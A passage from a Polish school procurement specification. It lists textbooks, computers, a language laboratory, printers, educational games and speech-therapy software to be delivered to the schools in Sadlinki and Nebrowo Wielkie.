języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1027	Big English 6 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1028	Big English 4 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 4	129	Big English 5 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 5	130	Big English 6 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 6	131	MyGrammarLab Elementary - Student's Book plus MyLab for classroom use - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, poziom podstawowy, z kodem dostępu do zasobów internetowych ,,MyGrammarLab".	1032	MyGrammarLab Intermediate - Student's Book plus MyLab for classroom use - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, poziom podstawowy, z kodem dostępu do zasobów internetowych ,,MyGrammarLab".	10Dostawa do ZS w Nebrowie Wielkim, ul. Szkolna 6, 82-522 SadlinkiLp.	Nazwa	Liczba sztuk33	Big English 1 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1034	Big English 2 - Pupils's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1035	Big English 3 - Pupils's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1036	Big English 1 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 1	137	Big English 2 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 2	138	Big English 3 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 3	139	Big English 4 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1040	Big English 5 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1041	Big English 6 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1042	Big English 4 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 4	143	Big English 5 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 5	144	Big English 6 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 6	145	MyGrammarLab Elementary - Student's Book plus MyLab for classroom use - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, poziom podstawowy, z kodem dostępu do zasobów internetowych ,,MyGrammarLab".	1046	MyGrammarLab Intermediate - Student's Book plus MyLab for classroom use - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, poziom podstawowy, z kodem dostępu do zasobów internetowych ,,MyGrammarLab".	10Dostawa do Zespołu Szkół Sadlinki, ul. Grudziądzka 14a, 82-522 Sadlinki47)	Komputer stacjonarny z oprogramowaniem oraz monitorem - sztuk 1Komputero	Procesor o wydajności min. 1675 pkt w CPU PassMark; o	Pamięć RAM 8 GB; o	Karta graficzna Intel HD Graphics; o	Dysk twardy min. 500 GB; o	Nagrywarka DVD+/-RW DualLayer; o	Karta dźwiękowa zgodna z Intel High Definition Audio; LAN 10/100/1000 Mbps; Wejścia/Wyjścia panelu przedniego: USB 3.1 Gen. 1 (USB 3.0) - 2 szt.o	Czytnik kart pamięci - 1 szt.o	Wyjście słuchawkowe/wejście mikrofonowe - 1 szt.; Wejścia/Wyjścia panel tylni: Wejście/wyjścia audio - 3 szt., USB 2.0 - 4 szt., RJ-45 (LAN) - 1 szt., HDMI - 1 szt., VGA (D-sub) - 1 szt.; o	Klawiatura/mysz: PS2 lub USB, mysz laserowao	Najnowsza wersja systemu operacyjnego Windows z obsługą Active Directory w polskiej wersji językowej.o	Sprzęt musi być wyprodukowany zgodnie z normami ISO 9001 oraz ISO 14001. Naprawy w całym okresie gwarancji powinny być realizowane wyłącznie przez producenta lub autoryzowanego partnera serwisowego producenta.o	W ofercie wymagane jest podanie producenta i modelu oferowanego komputera oraz jego parametrów technicznych, a także dostarczenie karty katalogowej lub innego równoważnego dokumentu.o	Monitor: Przekątna ekranu 21,5", Rodzaj matrycy LED, IPS, Rozdzielczość ekranu 1920 x 1080, Jasność 250 cd/m?, Kontrast dynamiczny 3 000 000:1, Kąt widzenia: 178 stopni, Czas reakcji 14 ms, bezramkowy, Wejścia HDMI, VGA, Regulacja kąta pochylenia, VESA, Kensington Lock48)	Tablica interaktywna - sztuk 1Specyfikacja jak w punkcie nr 1)49)	Projektor szerokokątny - sztuk 1Specyfikacja jak w punkcie nr 2)50)	Pracownia językowa MENTOR PC2 - 22 stanowiska +1 nauczyciel - sztuk 1Jednostka centralna systemu, okablowanie: metalowa obudowa rack umieszczona w szafce sprzętowej biurka lektora; wymiary max: 40 cm x 10 cm x 30 cm; centralka nie posiada klawiatury - obsługa tylko z komputera PC (tablicy interaktywnej) za pośrednictwem programu; 8 wejść mono sygnału Audio (4 stereo), 2 wyjścia audio, wejście słuchawkowe; uruchamianie centralki za pomocą przełącznika on/off; moduł USB do podłączenia komputera; wbudowany wzmacniacz stereo 40W ; sterowanie mikroprocesorowe; cyfrowa regulacja siły głosu z mikrofonów, z wejścia magnetofonowego, z wejścia DVD, regulacja siły oraz barwy głosu w głośnikach, wyjście nagrywania na komputer (rejestrator, magnetofon), wyjście na głośniki, wbudowany procesor DSP z funkcją symulacji zakłóceń rozmów telefonicznych; zasilanie jednostki centralnej 230V, stanowisk uczniowskich 8V, pasmo przenoszenia 50Hz - 10 kHz, okablowanie (1xRCA / mini jack mono - 2 szt., 2xRCA / 2xRCA); Oprogramowanie sterujące PC program umożliwiający obsługę pracowni z tablicy interaktywnej, z komputera; interface użytkownika (wirtualna klawiatura), timer, tryby pracy, imienna lista wg numerów stanowisk, wybór źródła dźwięku; 23 szt. Oprogramowania magnetofonu - dwie ścieżki rejestratora dają możliwość jednoczesnego odsłuchiwania audycji i nagrywania głosu ucznia, funkcja magnetofonu i rejestratora, 10 znaczników wyodrębniających część zapisu, wybór prędkości odtwarzania; graficzne przedstawienie przebiegu dźwięku i porównanie z oryginałem - zapis wykresu oscyloskopowego wymawianego wyrazu/frazy; Wysokiej jakości słuchawki z mikrofonem dynamicznym - 23 szt. słuchawek z mikrofonem - słuchawki: impedancja 2x32?, czułość 110?3dB, częstotliwość 20~20000Hz, maksymalna moc wyjściowa 2x100 mW, mikrofon: mikrofon: impedancja 200?, czułość -48?3dB, częstotliwość 30~16000Hz; trwałe, odporne na uszkodzenia mechaniczne, miękka, elastyczna obudowa, eliminujący szum otoczenia mikrofon kierunkowy na giętkim pałąku, duże wentylowane nauszniki szczelnie kryjące ucho, wtyczka 5 pin; Pulpity ucznia 22 szt. przyłącza - gniazdo słuchawkowe DIN 5 pin lub 2 x mały jack, montowane w blendzie biurka uczniowskiego, zintegrowane z haczykiem do powieszenia słuchawek, mając na uwadze jakość sygnału dźwiękowego każde przyłącze ucznia łączy się osobnym przewodem z jednostką centralną, Głośnik 2 szt. głośników - 2-drożne głośniki pasywne, współosiowe, w komplecie maskownica, kolor czarny, moc 2x40W RMS, impedancja: 4 ?, pasmo przenoszenia: 26Hz - 28000Hz, skuteczność: 89 dB 1W/1M, średnica 16,5cmDodatkowe Informacje: dołączone do oferty certyfikaty CE na pracownię i słuchawki, dostarczenie urządzeń, instalacja w miejscu wskazanym przez zamawiającego, rozruch technologiczny i przeszkolenie użytkowników z obsługi pracowni, dostarczenie z pracownią instrukcji w języku polskim, gwarancja na pracownię minimum 60 miesięcy w tym na słuchawki.(Zadanie 6: Doradztwo edukacyjno-zawodowe grupowe i indywidualne "Ośrodek kariery" w ZS Sadlinki i ZS Nebrowo)Dostawa do Zespołu Szkół Sadlinki, ul. Grudziądzka 14a, 82-522 Sadlinki51)	Drukarka kolorowa (urządzenie wielofunkcyjne) - sztuk 1o	Urządzenie wielofunkcyjne; Drukowanie, Skanowanie, Kopia, Fax; o	Szybkość druku: 34 Str./min. Monochromatyczny; o	Rozdzielczość drukowania: 4.800 x 1.200 dpi; drukowanie 35.000 Stron na miesiąc; o	Automatyczne drukowanie dwustronne, skanowanie, kopiowanie i faksowanie; o	Skanowanie do: e-maila, serwer, PC, Microsoft SharePoint, Pamięć USB; o	Szybkość transmisji faksu: min 33 kb/s; o	Rozdzielczość skanowania: 1.200 dpi x 2.400 dpi; o	LAN 1000 Base-T , WiFi; o	ilość podawanego papieru: min. 570; o	Ekran dotykowy o przekątnej min. 8,8 cm.52)	Komputer przenośny z systemem operacyjnym - sztuk 1o	Procesor o wydajności min. 4690 pkt w CPU PassMark; o	Pamięć RAM min. 8 GB DDR4, możliwość rozszerzenia do 32 GB; o	Dysk twardy min. 500GB; Przekątna ekranu 15,6"; o	Rozdzielczość ekranu min. 1366 x 768; o	Nagrywarka DVD+/-RW DualLayer; o	Karta graficzna o wydajności min. 975 + 945 pkt w PassMark, o	2048 MB GDDR5; o	Wbudowany mikrofon; Wbudowane głośniki stereo; Wbudowana kamera 1 Mpix; LAN 100 Mbps; Bluetooth; Wi-Fi 802.11 b/g/n/ac; Złącza: USB 2.0 - 1 szt., USB 3.1 Gen. 1 (USB 3.0) - 2 szt., Czytnik kart pamięci - 1 szt., Wyjście słuchawkowe/wejście mikrofonowe - 1 szt., RJ-45 (LAN) - 1 szt., HDMI - 1 szt. o	Wydzielona klawiatura numeryczna, o	Najnowsza wersja systemu operacyjnego Windows z obsługą Active Directory w polskiej wersji językowej.o	Sprzęt musi być wyprodukowany zgodnie z normami ISO 9001 oraz ISO 14001. Naprawy w całym okresie gwarancji powinny być realizowane wyłącznie przez producenta lub autoryzowanego partnera serwisowego producenta.o	W ofercie wymagane jest podanie producenta i modelu oferowanego komputera oraz jego parametrów technicznych, a także dostarczenie karty katalogowej lub innego równoważnego dokumentu.Dostawa do ZS w Nebrowie Wielkim, ul. Szkolna 6, 82-522 Sadlinki53)	Drukarka kolorowa (urządzenie wielofunkcyjne) - sztuk 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.54)	Komputer przenośny z systemem operacyjnym - sztuk 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.(Zadanie 7: Kształtowanie postaw i umiejętności uczniów "Rozwój kompetencji miękkich: kreatywności i pracy zespołowej" w ZS Sadlinki i ZS Nebrowo)Dostawa do Zespołu Szkół Sadlinki, ul. Grudziądzka 14a, 82-522 SadlinkiLp.	Nazwa	Liczba sztuk55	Program medialny - Pakiet Akademia UmysłuProgram multimedialny zawierający pakiet edukacyjny w tekturowym pudełku składający się z 6 płyt CD-rom do rozwoju fundamentalnych kompetencji intelektualnych skierowany dla różnych grup wiekowych i rozwojowych. Pakiet zawiera:-	6 programów zawierających blisko 100 kreatywnych ćwiczeń edukacyjnych do treningu pamięci, koncentracji i szybkiego czytania, -	6 Zeszytów Metodycznych dla I i II etapu edukacyjnego - naukowo opracowane gotowe scenariusze zajęć, dodatkowy Zeszyt Metodyczny do przeprowadzenia konkursów: "Mistrz koncentracji", "Mega pamięć", "Super umysł", -	bogaty zestaw nagród motywujących uczniów do wykonywania ćwiczeń (dyplomy, naklejki, zakładki do książek), -	licencja wielostanowiskowa na 15 stanowisk z możliwością dokupienia dodatkowych	156	Program medialny - Pakiet Wspomaganie Rozwoju - Edu Sensu - wspomaganie rozwojuProgramy multimedialny w tekturowym pudełku składający się z dwóch płyt (Dzień Tosi, W domu i na podwórku) do wczesnej terapii zaburzeń funkcji poznawczych i percepcyjno - motorycznych oraz wspierania wszechstronnego rozwoju dziecka. W zestawie programu multimedialnego wchodzą również pomoce dydaktyczne takie jak: naklejki, dyplomy, zestaw 120 kart z kolorowymi ilustracjami zawierającymi podpisy, domino ,,Zwierzęta"	157	Program medialny - Uczeń na start - ćwiczenia multimedialne rozwój kompetencji miękkichProgram multimedialny w tekturowym pudełku składający się z 1 płyty CD-rom, przeznaczony na 5 stanowisk komputerowych.	158	Gry dydaktyczne i rozwojowe	-59.1	Gra Logikit Magnetyczna gra logiczna łącząca wiele aspektów: postrzeganie świata, rozwój językowy i słownictwa, wiedzę o żywieniu i zdrowiu, przyrodzie, rozwój kreatywności, koncentracji i motoryki. Gra edukacyjna zawiera: 144 zadania z 5 różnych dziedzin podzielonych na 16 kart zadań o wym. 25 x 15, drewnianą plansze z szybą pleksi o wym. 29,5 x 19,5 x 2,5 cm i dołączonym sztyftem z magnesem. Wymiary opakowania: 32 x 23 x 5 cm.	159.2	Kolorowe wałeczki (komplet)Gra logiczna zawierająca w zestawie: planszę z otworami, 80 wałeczków w 4 kolorach z drewna grabowego , instrukcję. Pokrywa opakowania służy jako plansza gry	159.3	Gra memory okienka Popularna gra edukacyjna w drewnianym opakowaniu składająca się z: panelu do gry z tablicą wyników,7 dwustronnych planszy. Wymiary: 22 x 26 x 2,5 cm. Opakowanie drewniane.	159.4	Podłogowe domino (komplet) Gra edukacyjna w plastikowym pojemniku o wym.: 37 x 25 x 6,5 cm zawierająca: 28 dużych podłogowych dywaników - kostek domina. Każda kostka jest podgumowana. Wymiary: 10,5 x 21 cm.	159.5	Puzzle "Moje życie" Materiał edukacyjny w tekturowym pudełku w formie drewnianych puzzli XXL w kształcie koła przedstawiających różne etapy życia (od niemowlaka po staruszka). Puzzle ukazujące kluczowe momenty w życiu każdego człowieka. W zestawie znajduje się: 49 elementów, wym. układanki: śr. 49 x 0,6 cm.	159.6	Układanka emocje Drewniana gra/układanka edukacyjna w tekturowym pudełku w skład, której wchodzi:18 elementów twarzy, 6 tabliczek po 3 elementy z każdej twarzy (oczy, włosy i usta), 3 kostki z mimikami twarzy (zgodne z obrazkami na tabliczkach). Wymiary opakowania: 22,5 x 22,5 x 4,5 cm.	159.7	Gra z lusterkami - czerwonaGra edukacyjna sprzyjająca nauce koncentracji i logicznego myślenia w skład, której wchodzi: pudełko do przechowywania o wym.: 21 cm x 3,5 cm x 27 cm, 2 plastikowe zwierciadełka, 2 podstawki, 4 kostki do gry,24 karty ze wzorami.	159.8	Gra z lusterkami niebieska Gra edukacyjna sprzyjająca nauce koncentracji i logicznego myślenia w skład, której wchodzi: pudełko do przechowywania o wym.: 21 cm x 3,5 cm x 27 cm, 2 plastikowe zwierciadełka, 2 podstawki, 4 kostki do gry, 24 karty ze wzorami.	259.9	Gra zmysły Gra edukacyjna w tekturowym opakowaniu w skład, której wchodzi: 50 zdjęć (9 x 9 cm) przeznaczonych do ćwiczenia umiejętności klasyfikacji.	159.10	Pewny start - "Pewny start - Koncentracja uwagi"format A4, stron 108. Poziom I. "Pewny start. Zajęcia rewalidacyjne. Koncentracja uwagi" to publikacja z kartami pracy, które rozwijają i stymulują koncentrację uwag.Materiał składa się z dwóch części:o pierwsza część zawiera karty odnoszące się do pór rokuo druga - karty o zróżnicowanej tematyce.Proponowane karty pracy usprawniają również spostrzeganie, pamięć, motorykę małą, orientację wzrokowo-przestrzenną oraz koordynację wzrokowo-ruchową.Tematyka:o przyroda,o pory roku,o ubrania,o święta,o przedmioty codziennego użytku, o figury geometryczne,o litery,o liczby.	159.11	Memory dotykowe Gra edukacyjna w drewnianym pudełku zawierająca: 16 kart dotykowych (8 par), wymiar kart: 9 x 9 cm, 16 kart ilustrujących wrażenia dotykowe, 2 opaski do zasłaniania oczu.	1Dostawa do ZS w Nebrowie Wielkim, ul. Szkolna 6, 82-522 SadlinkiLp.	Nazwa	Liczba sztuk60	Program medialny - Pakiet Akademia UmysłuProgram multimedialny zawierający pakiet edukacyjny w tekturowym pudełku składający się z 6 płyt CD-rom do rozwoju fundamentalnych kompetencji intelektualnych skierowany dla różnych grup wiekowych i rozwojowych. Pakiet zawiera:-	6 programów zawierających blisko 100 kreatywnych ćwiczeń edukacyjnych do treningu pamięci, koncentracji i szybkiego czytania, -	6 Zeszytów Metodycznych dla I i II etapu edukacyjnego - naukowo opracowane gotowe scenariusze zajęć, dodatkowy Zeszyt Metodyczny do przeprowadzenia konkursów: "Mistrz koncentracji", "Mega pamięć", "Super umysł", -	bogaty zestaw nagród motywujących uczniów do wykonywania ćwiczeń (dyplomy, naklejki, zakładki do książek), -	licencja wielostanowiskowa na 15 stanowisk z możliwością dokupienia dodatkowych	161	Program medialny - Pakiet Wspomaganie Rozwoju - Edu Sensu - wspomaganie rozwojuProgramy multimedialny w tekturowym pudełku składający się z dwóch płyt (Dzień Tosi, W domu i na podwórku) do wczesnej terapii zaburzeń funkcji poznawczych i percepcyjno - motorycznych oraz wspierania wszechstronnego rozwoju dziecka. W zestawie programu multimedialnego wchodzą również pomoce dydaktyczne takie jak: naklejki, dyplomy, zestaw 120 kart z kolorowymi ilustracjami zawierającymi podpisy, domino ,,Zwierzęta"	162	Program medialny - Uczeń na start - ćwiczenia multimedialne rozwój kompetencji miękkichProgram multimedialny w tekturowym pudełku składający się z 1 płyty CD-rom, przeznaczony na 5 stanowisk komputerowych.	163.1	Gra Logikit Magnetyczna gra logiczna łącząca wiele aspektów: postrzeganie świata, rozwój językowy i słownictwa, wiedzę o żywieniu i zdrowiu, przyrodzie, rozwój kreatywności, koncentracji i motoryki. Gra edukacyjna zawiera: 144 zadania z 5 różnych dziedzin podzielonych na 16 kart zadań o wym. 25 x 15, drewnianą plansze z szybą pleksi o wym. 29,5 x 19,5 x 2,5 cm i dołączonym sztyftem z magnesem. Wymiary opakowania: 32 x 23 x 5 cm.	163.2	Kolorowe wałeczki (komplet)Gra logiczna zawierająca w zestawie: planszę z otworami, 80 wałeczków w 4 kolorach z drewna grabowego , instrukcję. Pokrywa opakowania służy jako plansza gry	163.3	Gra memory okienka Popularna gra edukacyjna w drewnianym opakowaniu składająca się z: panelu do gry z tablicą wyników,7 dwustronnych planszy. Wymiary: 22 x 26 x 2,5 cm. Opakowanie drewniane.	163.4	Podłogowe domino (komplet) Gra edukacyjna w plastikowym pojemniku o wym.: 37 x 25 x 6,5 cm zawierająca: 28 dużych podłogowych dywaników - kostek domina. Każda kostka jest podgumowana. Wymiary: 10,5 x 21 cm.	163.5	Puzzle "Moje życie" Materiał edukacyjny w tekturowym pudełku w formie drewnianych puzzli XXL w kształcie koła przedstawiających różne etapy życia (od niemowlaka po staruszka). Puzzle ukazujące kluczowe momenty w życiu każdego człowieka. W zestawie znajduje się: 49 elementów, wym. układanki: śr. 49 x 0,6 cm.	163.6	Układanka emocje Drewniana gra/układanka edukacyjna w tekturowym pudełku w skład, której wchodzi:18 elementów twarzy, 6 tabliczek po 3 elementy z każdej twarzy (oczy, włosy i usta), 3 kostki z mimikami twarzy (zgodne z obrazkami na tabliczkach). Wymiary opakowania: 22,5 x 22,5 x 4,5 cm.	163.7	Gra z lusterkami - czerwonaGra edukacyjna sprzyjająca nauce koncentracji i logicznego myślenia w skład, której wchodzi: pudełko do przechowywania o wym.: 21 cm x 3,5 cm x 27 cm, 2 plastikowe zwierciadełka, 2 podstawki, 4 kostki do gry,24 karty ze wzorami.	163.8	Gra z lusterkami niebieska Gra edukacyjna sprzyjająca nauce koncentracji i logicznego myślenia w skład, której wchodzi: pudełko do przechowywania o wym.: 21 cm x 3,5 cm x 27 cm, 2 plastikowe zwierciadełka, 2 podstawki, 4 kostki do gry, 24 karty ze wzorami.	263.9	Gra zmysły Gra edukacyjna w tekturowym opakowaniu w skład, której wchodzi: 50 zdjęć (9 x 9 cm) przeznaczonych do ćwiczenia umiejętności klasyfikacji.	163.10	Pewny start - "Pewny start - Koncentracja uwagi"format A4, stron 108. Poziom I. "Pewny start. Zajęcia rewalidacyjne. Koncentracja uwagi" to publikacja z kartami pracy, które rozwijają i stymulują koncentrację uwag.Materiał składa się z dwóch części:o pierwsza część zawiera karty odnoszące się do pór rokuo druga - karty o zróżnicowanej tematyce.Proponowane karty pracy usprawniają również spostrzeganie, pamięć, motorykę małą, orientację wzrokowo-przestrzenną oraz koordynację wzrokowo-ruchową.Tematyka:o przyroda,o pory roku,o ubrania,o święta,o przedmioty codziennego użytku, o figury geometryczne,o litery,o liczby.	163.11	Memory dotykowe Gra edukacyjna w drewnianym pudełku zawierająca: 16 kart dotykowych (8 par), wymiar kart: 9 x 9 cm, 16 kart ilustrujących wrażenia dotykowe, 2 opaski do zasłaniania oczu.	1(Zadanie 8: Indywidualizacja pracy z uczniem o specjalnych potrzebach edukacyjnych w ZS Sadlinki i ZS Nebrowo)Dostawa do Zespołu Szkół Sadlinki, ul. Grudziądzka 14a, 82-522 SadlinkiLp.	Nazwa	Liczba sztuk64	Obrazkowy słownik tematyczny - 2.0Multimedialny program w tekturowym pudełku wyposażony w 4 płyty CD-ROM podzielony na dwie części tematyczne: cześć 1: zabawki, części ciała, zwierzęta w zoo, zwierzęta i natura, zwierzęta domowe, meble, przybory szkolne, ubrania, sprzęt domowy, instrumenty, przybory codziennego użytku, dom, przyimki, zaimki, cześć 2: rodzina, warzywa, owoce, słodycze, posiłki i napoje, pogoda, środki transportu, czas, emocje, przymiotniki, przysłówki, zawody, sport, czasowniki, tematyczne zestawy wyrazów.	165	LogorytmikaMultimedialny program do terapii logopedycznej w tekturowym pudełku wyposażony w 1 płytę CD-ROM z wieloma prezentacjami i filmikami.	166	Mówiące obrazkiProgram multimedialny wspomagający terapię logopedyczną w tekturowym pudełku wyposażony w 1 płytę CD-ROM.	167	Program eduSensus - Logopedia 2.0 - pakiet poszerzony - GOLD lub program równoważnyProgram multimedialny w tekturowym pudełku wyposażony w 14 programów do diagnozy i terapii logopedycznej: Szereg szumiący - moduł podstawowy, Szereg syczący - moduł podstawowy, Szereg ciszący - moduł podstawowy, Szereg szumiący - moduł profesjonalny, Szereg syczący - moduł profesjonalny, Szereg ciszący - moduł profesjonalny, Różnicowanie szeregów, Głoska r - moduł podstawowy, Głoski r, l - moduł profesjonalny, Mowa bezdźwięczna, Sfonem,	Echokorektor, Trening logopedyczny, Głoski tylnojęzykowe k, g, h.Program wyposażony jest również w aplikację logopedy (program zarządzający) - funkcjonalne narzędzie z wbudowanym modułem diagnostycznym. Program zawiera wzory przydatnych dokumentów, np. Diagnoza logopedyczna, Opinia logopedyczna, Skierowanie do specjalisty. Program zawiera również aplikację logopedy pozwalające na: tworzenie bazy pacjentów i zarządzanie nią, np. grupowanie pacjentów pod względem tych samych obszarów terapii; diagnozę umiejętności i możliwości artykulacyjnych dziecka; nagranie i opisanie dowolnej liczby dźwięków; śledzenie postępów terapii.Program podsiada atrakcyjne dodatki oraz pomoce tradycyjne: Interface foniczny, profesjonalny mikrofon, nakładki na mikrofon, umożliwiające higieniczne użytkowanie drukarka laserowa, Przewodnik metodyczny zawierający scenariusze zajęć logopedycznych, zestaw obrazków oraz plakatów "Już potrafię to wymówić!", szpatułki logopedyczne, kolorowe piórka i słomki, książeczki z zestawem labiogramów i wierszyków, naklejki Mówtaki, Książeczka Logo-Rymy (z dołączonymi 2 płytami CD).	168	Duże lustro okrągłe ścienneEkonomiczne i bezpieczne lustro naścienne stanowiący pomoc dydaktyczną w terapii logopedycznej. Wykonane z akrylowego lustra oprawionego w miękką, piankową ramkę. Dostarczane z kompletem przylepców - średnica 32 cm.	169	Małe bezpieczne lusterka logopedyczne do trzymaniaZestaw edukacyjny czterech bezpiecznych lusterek oprawionych w przyjemną w dotyku, miękką i kolorową piankę. Piankowe oprawy lusterek posiadają po obu stronach wygodne uchwyty na ręce. Każde lusterko ma inny kształt: kwadrat, koło, prostokąt, trójkąt - wymiary oprawy 34 x 21 x 1,5 cm - lustro kwadratowe o boku 16 cm.	570	Turbinka logopedyczna - (Turbino)Logopedyczna gra oddechowa w tekturowym pudełku zawierająca: podstawka i śmigło - obręcz z obrazkami zwierząt po obu stronach, instrukcję, jeden szary i jeden pomarańczowy płócienny woreczek na gumowe pierścienie, 10 szarych i 10 pomarańczowych gumowych pierścieni. Gra przeznaczona dla 2 osób.	571	Myotopia - skarbiec gier logopedycznychZestaw gier logopedycznych wspomagających terapię zawierający: 5 gier na zasysanie, 5 plansz, 4 kostki (kolory, oczka 1-6, oczka 1-3), 224 obrazkowych żetonów (w 5 seriach), 8 słomek, 5 gier na dmuchanie: 54 kart motoryki twarzy, plaster miodu z kartonu, kartonowe akwarium do rozłożenia, 2 plastikowe żabki, 13 dużych żółtych krążków, 13 małych żółtych krążków, 1 plastikowe autko, kuleczki waty, 1 piłeczka tenisowa, szklane kuleczki, 4 wędki, słomki, obszerna instrukcja z opisem 10 gier logopedycznych. Gra posiada zabawnych bohaterów, tj. pszczółki, żabki, wodne żyjątka, zwierzaki i samochody, pokazują dzieciom jak ćwiczyć i utrwalać podczas nauki siłę i kierunek oddechu. Wszystkie elementy zestawu są oznakowane symbolami i numerami w taki sposób, aby logopeda mógł szybko je odszukać zarówno w pudelku, jak i w broszurze. Broszura metodyczna zawiera obszerny opis wszystkich zabaw, a także tabelaryczne zestawienie wykonywanych w ich trakcie ćwiczeń logopedycznych. Zestaw Myotopia nadaje sie zarówno do terapii indywidualnej, jak i ćwiczeń z mała grupą dzieci.	172	Słuch fonemowy - program komputerowyProgram komputerowy wspomagający terapię logopedyczną. Opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa.Program edukacyjny zawiera takie gry jak: PODPISZ I POWIEDZ - ćwiczenia zawarte w grze są pomocne przy utrwalaniu głosek opozycyjnych w wyrazach (w różnych pozycjach), ZAPAMIĘTAJ I POWIEDZ - gra polega na odkrywaniu 2 kart i szukaniu pary. Parę tworzy obrazek i jego nazwa wypowiedziana przez lektora, UZUPEŁNIJ WYRAZ - gra ma na celu różnicowanie i utrwalanie głosek opozycyjnych, POSŁUCHAJ I WYBIERZ - gra polega na wskazaniu obrazka, którego nazwa została wypowiedziana przez lektora, DOBIERZ PARONIMY - gra polega na połączeniu paronimów, NAGRAJ I ODTWÓRZ - to bardzo prosty rejestrator dźwięku. Umożliwia nagranie wymowy dziecka i porównanie jej np. na początku i końcu terapii.	173	Logopedyczne programy komputerowe: Część 4 (j, l, r) - program komputerowy "Logopedyczne zabawy" Program komputerowy wspomagający terapię logopedyczną opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa. Program edukacyjny zawiera takie gry jak: ODGŁOSY - gra zawiera wyrazy dźwiękonaśladowcze i polega na dobieraniu w pary obrazków do pokazanych poniżej napisów, PODPISZ I POWIEDZ - gra polega na podpisaniu obrazka, KLOCKI - gra polega na dobieraniu obrazków w pary, LATAJĄCY SPODEK - gra polega na wstawianiu właściwej litery w odpowiednią pustą kratkę, LABIRYNT - gra polega na przejechaniu pojazdem labiryntu. Wybierając drogę należy przejechać przez obrazki zawierające głoskę (głoski) wybraną w menu początkowym.	174	Logopedyczne programy komputerowe: Różnicowanie szeregów - program komputerowy Program komputerowy wspomagający terapię logopedyczną opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa. Program edukacyjny zawiera takie gry jak: POCIĄG - to gra, która polega na umieszczeniu obrazków z pociągu na właściwych półkach z literami, PRZYSSAWKI - gra, która polega na etykietowaniu obrazków poprzez przeciągnięcie do nich właściwego napisu, ZAPAMIĘTAJ I POWIEDZ - gra polega na odkrywaniu 2 kart i szukaniu pary, MAGAZYNIER - zadaniem gracza jest poukładanie na półkach napisów i obrazków. Wózek obsługuje się klawiszami strzałek, TAŚMOCIĄG - zadaniem gracza jest przeniesienie obrazka znajdujące się na taśmociągu do rury z właściwą głoską, NAGRAJ I ODTWÓRZ - to bardzo prosty rejestrator dźwięku. Umożliwia nagranie wymowy dziecka i porównanie jego wymowy np. na początku i końcu terapii. 175	Logopedyczne programy komputerowe: Część 1 (sz, ż, cz, dż) - program komputerowy "Logopedyczne zabawy" Program komputerowy wspomagający terapię logopedyczną opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa. Program edukacyjny zawiera takie gry jak: ZAPAMIĘTAJ I POWIEDZ - jest to program obrazkowy umożliwiający ćwiczenie trudnych głosek i pozwalający na porównywanie wymowy ze wzorcem podanym przez komputer, UZUPEŁNIJ WYRAZ - program ma na celu utrwalanie różnicowania głosek opozycyjnych sz - s, cz - c, ż - z, dż - dz, SPADAJĄCE KARTY - jest to program, który oprócz ćwiczenia poprawnej wymowy, wyrabia u dziecka świadomość fonologiczną, ćwiczy refleks, koncentrację uwagi, spostrzegawczość wzrokową, NAGRAJ I ODTWÓRZ - to bardzo prosty rejestrator dźwięku. Umożliwia nagranie wymowy dziecka i porównanie jego wymowy np. na początku i końcu terapii.	176	Test artykulacyjny 100-wyrazowy standaryzowany do diagnozyTestem do badania wymowy w skład, którego wchodzi: materiał obrazkowy (20,5 x 15 cm), instrukcja, podręcznik, karta badania mowy: ocena jakościowa (wersja IPA), karta badania mowy: ocena ilościowa (wersja IPA), karta badania mowy: ocena ilościowa (wersja slawistyczna), segregator.	1Dostawa do ZS w Nebrowie Wielkim, ul. Szkolna 6, 82-522 SadlinkiLp.	Nazwa	Liczba sztuk77	Obrazkowy słownik tematyczny - 2.0Multimedialny program w tekturowym 